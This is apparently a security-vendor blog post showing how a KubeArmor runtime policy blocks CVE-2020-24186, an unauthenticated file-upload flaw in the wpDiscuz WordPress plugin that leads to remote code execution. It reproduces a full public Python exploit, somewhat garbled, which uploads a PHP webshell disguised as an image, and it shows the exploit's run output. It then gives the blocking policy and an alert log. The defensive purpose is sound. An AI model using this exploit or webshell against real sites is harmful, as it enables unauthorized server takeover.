How to Protect WordPress vulnerabilities using KubeArmor?

The modern content management system (CMS) has made website creation easier than ever. By utilizing the right platform, you will have access to features that can make the process much simpler.


The modern content management system (CMS) has made website creation easier than ever. By utilizing the right platform, you will have access to features that can make the process much simpler. There are plenty of CMS to choose from, however, each with its advantages and drawbacks.  This is no big secret that everyone is a big fan of WordPress and for good reason. Most CMS users choose it as their preferred platform, which makes WordPress the most popular website platform in the world.

The same simplicity and popularity make WordPress the widely target CMS platform too. The number of vulnerabilities reported over the past 10 years is in the 200’s [227 to be precise. credits].

In this section, we’ll be talking about a critical vulnerability found in the WordPress plugin wpDiscuz. wpDiscuz is a plugin designed to create responsive comment areas on WordPress installations. It allows users to discuss topics and easily personalize their feedback with a rich text editor.

What are we trying to achieve?

In the last revision of the plugin, releases 7. x. x, they added the ability to include image attachments in the comments that are uploaded to the website and included in the comments. Unfortunately, there was no security protection associated with the implementation of this feature, creating a critical vulnerability. wpDiscuz comments were designed to allow only image attachments. However, due to the file mime type detection functions that were used, the file type verification could easily be bypassed, allowing unauthenticated users the ability to upload any type of file, including PHP files.

We will be taking a look at how to mimic the exploit and how we can use KubeArmor run-time security policies to defend from the attack without compromising the use of the plugin.Score : 10 CRITICAL 10 CRITICAL

Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vector: NETWORK
Attack Complexity: LOW
Privileges Required: NONE
User Interaction: NONE

Confidentiality: HIGH
Integrity: HIGH
Availability: HIGH

We’ll deploy the WordPress application and install wpDiscuz on it. Get the external IP of the application and write a blog and publish it.

kubectl get pod,svc -n wordpress-mysql

NAME                                   READY   STATUS    RESTARTS   AGE
pod/wordpress-5d5d448dcc-52mcj         1/1     Running   0          4d10h
pod/wordpress-mysql-7757f9f8c8-2j8wm   1/1     Running   0          4d9h
pod/wordpress-mysql-7757f9f8c8-mmpxw   0/1     Evicted   0          4d10h

NAME                      TYPE           CLUSTER-IP    EXTERNAL-IP    PORT(S)        AGE
service/wordpress         LoadBalancer   80:31790/TCP   4d11h
service/wordpress-mysql   ClusterIP      None          <none>         3306/TCP       4d11h

Here the external IP is

Initiating the Attack

Go to and create a comment. With a simple inspect of the webpage, we can see that WordPress is using wpDiscuz in it to create responsive comments.

With the URL in hand, we’ll try to exploit the application by uploading a PHP code into the server and thereby granting us RCE.

To make this happen we use a public exploit for the wpDiscuz vulnerability.


# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage:
# Software Link:
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (

import requests
import optparse
import re
import random
import time
import string
import json

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host:")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")

options, args = parser.parse_args()

if not options.url or not options.path:
    print('[+] Specify an url target')
    print('[+] Example usage: -u -p /wordpress/2021/06/blogpost')
    print('[+] Example help usage: -h')

session = requests.Session()

main_url = options.url
path = options.path
url_blog = main_url + path
clean_host = main_url.replace('http://', '').replace('/wordpress','')

def banner():
    print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
    print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
    print('[-] CVE: CVE-2020-24186')
    print('--------------------------------------------------------------- \n')

def csrfRequest():
    global wmuSec
    global wc_post_id

        get_html = session.get(url_blog)
        response_len = str(len(get_html.text))
        response_code = str(get_html.status_code)
        print('[+] Response length:['+response_len+'] | code:['+response_code+']')

        raw_wmu = get_html.text.replace(',','\n')
        wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
        print('[!] Got wmuSecurity value: '+ wmuSec +'')
        raw_postID = get_html.text.replace(',','\n')
        wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
        print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')

    except requests.exceptions.HTTPError as err:
        print('\n[x] Failed to Connect in: '+url_blog+' ')
        print('[x] This host seems to be Down')

def nameRandom():
    global shell_name 
    print('[+] Generating random name for Webshell...')
    shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
    print('[!] Generated webshell name: '+shell_name+'\n')

    return shell_name

def shell_upload():
    global shell
    print('[!] Trying to Upload Webshell..')
        upload_url = main_url + "/wp-admin/admin-ajax.php"
        upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
        upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
        upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
        check =, headers=upload_headers, cookies=upload_cookies, data=upload_data)
        json_object = (json.loads(check.text))
        status = (json_object["success"])

        get_path = (check.text.replace(',','\n'))
        shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
        find_shell = str(shell_pret)
        raw = (find_shell.replace('\\','').replace('url&quot;:&quot;','').replace('\',','').replace('&quot;','').replace('[\'',''))
        shell = (raw.split(" ",1)[0])

        if status == True:
            print('[+] Upload Success... Webshell path:' +shell+' \n')
            print('[x] Failed to Upload Webshell in: '+ url_blog +' ')

    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to Upload Webshell in: '+ url_blog +' ')

    return shell

def code_exec():
            while True:
                cmd = input('> ')
                codex = session.get(shell + '?cmd='+cmd+'')
        print('\n[x] Failed to execute PHP code...')


This python code requires the URL to the WordPress site and the blogpost endpoint. we’ll get both of these from the UI.

python3 -u -p /2021/12/16/hello-world

The command will upload an arbitrary PHP file with <?php system($_GET['cmd']); ?> and then access this file to trigger execution on the server, thereby achieving remote code execution.

[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186

[+] Response length:[101559] | code:[200]
[!] Got wmuSecurity value: fbf0656b17
[!] Got wmuSecurity value: 1 

[+] Generating random name for Webshell...
[!] Generated webshell name: bmrorpjvojkbbko

[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path: 

> hostname



Defending against the Attack

In order to defend against the attack, we dig a little deeper and found the root cause to be the "unrestricted file upload" when coupled with double extensions (e.g. ".php.gif") bypassed sanity checks.

To resolve the vulnerability you can update wpDiscuz to version 7.0.5+ by experiencing downtime or use KubeArmor’s pre-tailored policy to remove the vulnerability even without changing anything.

The Policy:

# KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
# To learn more about KubeArmor visit: 

kind: KubeArmorPolicy
  name: ksp-cve-2020-24186-deny-wordpress-rce
  namespace: wordpress-mysql # Change your namespace
  tags: ["CVE", "WordPress-RCE", "CVE-2020-24186"]
  message: "Alert! *.php file upload to wp-content subdirectory detected"
      app: wordpress   #change this label with your label
    severity: 5
    - pattern: /var/www/html/wp-content/uploads/**/*.php
    - pattern: /var/www/html/wp-content/uploads/**/*.sh
    action: Block

You can simply take advantage of our open-source GitHub inventory, and apply policy directly from there:

kubectl apply -f

Checking the policy logs on KubeArmor

To check how to do it, kindly go through our help section

Blocked Log Created by KubeArmor

  "timestamp": 1640059272,
  "updatedTime": "2021-12-21T04:01:12.676169Z",
  "hostName": "gke-cys-poc-default-pool-3be49535-k4cp",
  "namespaceName": "wordpress-mysql",
  "podName": "wordpress-5d5d448dcc-52mcj",
  "containerID": "9d477215d2288de4cd5ff63f387a808fe1bf3663d130362bebf33c546427e09c",
  "containerName": "wordpress",
  "hostPid": 3863212,
  "ppid": 1,
  "pid": 120,
  "uid": 33,
  "type": "ContainerLog",
  "source": "apache2",
  "operation": "File",
  "resource": "/var/www/html/wp-content/uploads/2021/12/xjeyirtptddiemf-1640059272.6737.php",
  "data": "syscall=SYS_OPEN flags=O_WRONLY|O_CREAT|O_TRUNC",
  "result": "Permission denied"

Accuknox's policy templates repository

Accuknox's policy templates is an open-source repo that also contains a wide range of attack prevention techniques including MITRE, as well as hardening techniques for your workloads. Please visit GitHub - kubearmor/policy-templates: Community curated list of System and Network policy templates for the KubeArmor and Cilium   to download and apply policy templates.


In this post, we detailed a flaw in wpDiscuz that provided unauthenticated users with the ability to upload arbitrary files, including PHP files, and execute those files on the server. Thus leading to an RCE and resource hijacking.

Using KubeArmor, an organization can effectively protect against these sorts of accidental developer-introduced vulnerabilities.

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